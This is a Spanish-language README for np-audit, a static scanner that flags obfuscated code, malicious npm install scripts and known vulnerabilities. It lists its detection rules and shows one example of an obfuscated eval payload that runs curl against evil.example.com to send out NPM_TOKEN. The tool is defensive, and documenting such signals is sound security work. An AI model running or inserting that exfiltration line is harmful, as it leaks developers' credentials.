koblers/np-auditAnálisis estático de seguridad para paquetes npm. Detecta código ofuscado, patrones maliciosos y vulnerabilidades conocidas antes de la instalación.
npm ciCero dependencias. Solo built-ins puros de Node.js. < 100 kB en el cable.
npx np-audit scan express
npm install -g np-audit
npa scan # escanea todas las dependencias
npa install # audita y luego instala
alias npm='npa' # usar como sustituto directo
La detección se divide en marshallers modulares: cada uno detecta una única señal de ataque:
| Marshaller | Qué detecta | Puntuación |
|---|---|---|
eval/dynamic-exec | eval(), new Function(), eval indirecto, vm.*, setTimeout con cadena | 8 |
obfuscator.io | Patrones de nombres de variables _0x (salida de obfuscator.io) | 9–80 |
high-entropy-string | Cadenas largas o cadenas de concatenación con alta entropía de Shannon | 6 |
hex-escape-density | Secuencias de escape densas \xNN y \uXXXX | 5–50 |
fromCharCode | String.fromCharCode con muchos argumentos, arrays de códigos de caracteres decimales grandes | 7 |
encoded-decode | Decodificación Base64/hex (atob, Buffer.from) opcionalmente combinada con eval | 3–8 |
child-process | require('child_process'), exec, spawn, fork, worker_threads | 5 |
hex-array | Grandes cantidades de valores literales hexadecimales 0x | 7–60 |
process-env | Acceso a process.env (señal de exfiltración de credenciales) | 3 |
network-call | require('https'), fetch(), dns, net, tls | 4 |
filesystem-manipulation | fs.writeFile, chmod, symlink (persistencia de backdoor) | 3–4 |
runtime-download | Descarga y ejecuta runtimes externos (Bun, Deno) | 9–50 |
Las puntuaciones escalan con la gravedad: mayores cantidades de indicadores de ofuscación producen puntuaciones más altas. El veredicto final se basa en la puntuación individual más alta entre todos los marshallers.
Consulta CONTRIBUTING.md para saber cómo escribir marshallers personalizados.
Cada paquete escaneado se verifica contra bases de datos de vulnerabilidades conocidas junto con el análisis de código.
Por defecto: OSV.dev (sin configuración previa requerida)
Funciona inmediatamente: consulta la API gratuita de OSV.dev para obtener vulnerabilidades conocidas y avisos de paquetes maliciosos.
Opcional: API de Snyk (datos más ricos)
# Variable de entorno
export SNYK_API_TOKEN=your-token-here
# O mediante la CLI de Snyk
snyk auth
Orden de resolución del token: SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json
| Severidad | Puntuación | Veredicto |
|---|---|---|
| Paquete malicioso | 80 | DANGER |
| 10+ vulnerabilidades | 6 | WARN |
| 5–9 vulnerabilidades | 5 | WARN |
| 1–4 vulnerabilidades | 4 | WARN |
Los CVEs no maliciosos producen advertencias pero nunca bloquean la instalación. Solo los paquetes confirmados como maliciosos activan DANGER.
| Comando | Alias | Descripción |
|---|---|---|
npa install [package] | npa i | Audita y luego ejecuta npm install |
npa ci | — | Audita y luego ejecuta npm ci |
npa scan [package] | npa s | Solo escanea, sin instalar |
npa config get | npa c get | Muestra la configuración actual |
npa config set <key> <value> | npa c set | Actualiza un valor de configuración |
npa alias --install | — | Instala el alias de shell |
npa alias --uninstall | — | Elimina el alias de shell |
Cualquier comando no reconocido se reenvía a npm (p. ej. npa run test, npa publish).
| Banderas | Alias | Funciona con | Descripción |
|---|---|---|---|
--review | -r | install, ci | Modo interactivo: elige qué scripts permitir |
--json | — | install, ci, scan | Salida JSON legible por máquina |
--no-dev | — | install, ci, scan | Omite devDependencies |
--verbose | — | todas | Muestra el progreso de la descarga y detalles adicionales |
--version | -v | — | Muestra la versión y sale |
--help | -h | — | Muestra la ayuda y sale |
--reviewnpa install --review
npa --review mode
Usa ↑/↓ para navegar, ESPACIO para alternar, ENTER para confirmar, q para salir
Se encontraron 3 paquete(s) con scripts de instalación:
[✓ permitir] [email protected] postinstall: post-install.js OK
▶ [✗ denegar ] [email protected] postinstall: install.js DANGER (score: 9)
[✓ permitir] @scope/[email protected] postinstall: install.js WARN (score: 5)
2 permitidos 1 denegado
La configuración se almacena en ~/.npmauditor.json (global) y se puede sobrescribir por proyecto con .npmauditor.json.
npa config get # Muestra la configuración actual
npa config set blockScore 6 # Bloquear con puntuación 6+
npa config set skipPackages '["esbuild"]' # Confiar en paquetes específicos
npa config set skipScopes '["@types"]' # Confiar en scopes completos
| Clave | Por defecto | Descripción |
|---|---|---|
blockScore | 7 | Umbral de puntuación para DANGER (salida 1) |
warnScore | 4 | Umbral de puntuación para WARN (salida 0) |
registry | https://registry.npmjs.org | URL del registro npm |
timeout | 30000 | Tiempo de espera de la solicitud HTTP (ms) |
parallelFetches | 5 | Descargas concurrentes |
skipScopes | [] | Prefijos @scope a omitir |
skipPackages | [] | Nombres de paquetes a omitir |
silent | false | Suprime la salida cuando no se encuentran problemas |
scanSelf | true | Escanea los scripts de ciclo de vida del propio proyecto |
maxTarballSize | 50MB | Tamaño máximo de tarball descomprimido (protección contra bombas) |
checkVulnerabilities | true | Verifica paquetes contra bases de datos de CVE |
deepResolve | false | Resuelve el árbol completo de dependencias transitivas |
disabledMarshallers | [] | Nombres de marshallers a omitir durante el escaneo |
Puedes deshabilitar comprobaciones de detección específicas añadiendo sus nombres a disabledMarshallers:
npa config set disabledMarshallers '["process-env", "network-call"]'
Para ver todos los nombres de marshallers disponibles y su estado actual:
npa config marshallers
Esto es útil cuando un marshaller produce falsos positivos para tu flujo de trabajo. Los marshallers deshabilitados se omiten por completo tanto en el análisis de código estático como en las comprobaciones a nivel de paquete.
Usa npa como un reemplazo transparente de npm:
npa alias --install # añade: alias npm='npa'
source ~/.zshrc # recarga el shell
Ahora npm install, npm ci escanean automáticamente. Todos los demás comandos de npm (npm run, npm test, npm publish) se pasan sin cambios.
npa alias --uninstall # elimina el alias
package-lock.json (v1/v2/v3) o resuelve desde package.jsonnode_modules)&&/||/;/|, maneja node -e, sh -c, scripts de shellrequire()/import desde cada punto de entrada (detección de ciclos, límite de 50 archivos / 5 MB)Los ataques a la cadena de suministro abusan de los scripts de ciclo de vida de npm. Cuando ejecutas npm install, cualquier script preinstall/install/postinstall se ejecuta automáticamente. Los atacantes ocultan las cargas útiles detrás de ofuscación:
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');
Incidentes del mundo real:
npa nunca ejecuta scripts. Los descarga y los analiza estáticamente.
| Código | Significado |
|---|---|
0 | Todo limpio o solo advertencias |
1 | Uno o más paquetes bloqueados |
MIT
vscode-autorun | Tareas de VS Code con runOn: folderOpen (auto-ejecución) | 30 |
known-vulnerability | CVEs conocidos mediante la API de Snyk u OSV.dev | 4–6 (WARN), 80 (malicioso) |